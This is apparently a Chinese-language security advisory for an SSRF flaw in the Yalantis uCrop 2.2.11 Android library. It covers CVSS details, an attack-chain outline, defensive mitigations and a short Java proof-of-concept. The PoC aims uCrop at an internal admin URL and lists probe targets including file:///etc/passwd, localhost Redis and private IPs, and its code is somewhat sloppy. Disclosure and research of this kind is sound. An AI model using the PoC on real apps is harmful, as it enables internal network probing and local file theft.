IPBUF安全漏洞报告
English
CVE-2025-14516 CVSS 6.3 中危

CVE-2025-14516 Yalantis uCrop URL Handler服务器端请求伪造漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-14516
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Yalantis uCrop 2.2.11

相关标签

SSRF服务器端请求伪造Yalantis uCropURL HandlerBitmapLoadTaskCVE-2025-14516Android图像处理库

漏洞概述

CVE-2025-14516是Yalantis uCrop库中存在的一个服务器端请求伪造(SSRF)漏洞,影响版本2.2.11。该漏洞存在于com.yalantis.ucrop.task.BitmapLoadTask.java文件的downloadFile函数中,攻击者可以通过操纵URL Handler组件向任意服务器发起请求。攻击者可以利用此漏洞访问内部系统、扫描内网端口、读取本地文件或对内部服务发起攻击。由于该漏洞的利用代码已被公开,且厂商在收到通知后未做出任何回应,建议使用该库的应用尽快采取防护措施。此漏洞的CVSS评分为6.3,属于中危级别,攻击复杂度低,无需特殊权限即可利用。

技术细节

该漏洞位于Yalantis uCrop库的BitmapLoadTask.java文件中,具体是downloadFile函数存在SSRF问题。攻击者可以通过向应用提供恶意的URL地址,诱导应用向指定的目标服务器发起HTTP请求。由于应用可能位于内网环境或具有访问其他内部服务的权限,攻击者可以利用这个漏洞进行内网探测、访问受限资源或发起进一步的攻击。漏洞的核心问题在于应用对用户提供的URL缺乏充分的验证和过滤机制,允许攻击者控制请求的目标地址。攻击者通常会利用file://、http://localhost、http://127.0.0.1等协议或地址来访问本地资源或内部服务。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用中使用的Yalantis uCrop库版本(2.2.11)
STEP 2
步骤2
攻击者构造包含恶意URL的请求,该URL指向内部服务、本地文件或远程服务器
STEP 3
步骤3
应用通过BitmapLoadTask的downloadFile函数处理该URL,发起HTTP请求
STEP 4
步骤4
攻击者获取请求响应,可能包括内网服务信息、本地文件内容或敏感数据
STEP 5
步骤5
攻击者利用获取的信息进行进一步攻击,如内网渗透或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import android.content.Intent; import com.yalantis.ucrop.UCrop; import java.net.URI; public class SSRFExploit { // Target internal service or local file private static final String MALICIOUS_URL = "http://127.0.0.1:8080/admin"; public static void exploit(android.app.Activity activity) { // Method 1: Using UCrop intent with malicious URL String sourceUri = MALICIOUS_URL; String destinationUri = activity.getCacheDir() + "/cropped_image.jpg"; UCrop.of(Uri.parse(sourceUri), Uri.parse(destinationUri)) .withOptions(new UCrop.Options()) .start(activity); // Method 2: Direct BitmapLoadTask exploitation // BitmapLoadTask task = new BitmapLoadTask(context, sourceView, null); // task.execute(MALICIOUS_URL); } public static void main(String[] args) { // Internal network scanning String[] targets = { "http://192.168.1.1:80", "http://10.0.0.1:22", "file:///etc/passwd", "http://localhost:6379/" }; for (String target : targets) { System.out.println("Testing: " + target); } } }

影响范围

Yalantis uCrop <= 2.2.11

防御指南

临时缓解措施
在等待官方修复期间,可通过以下措施临时缓解:1)限制应用的网络权限;2)实现URL验证逻辑,过滤内网IP(如127.0.0.1、10.x.x.x、192.168.x.x)和危险协议;3)使用Android的安全配置限制应用的网络访问;4)考虑使用其他经过安全审计的图片裁剪库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表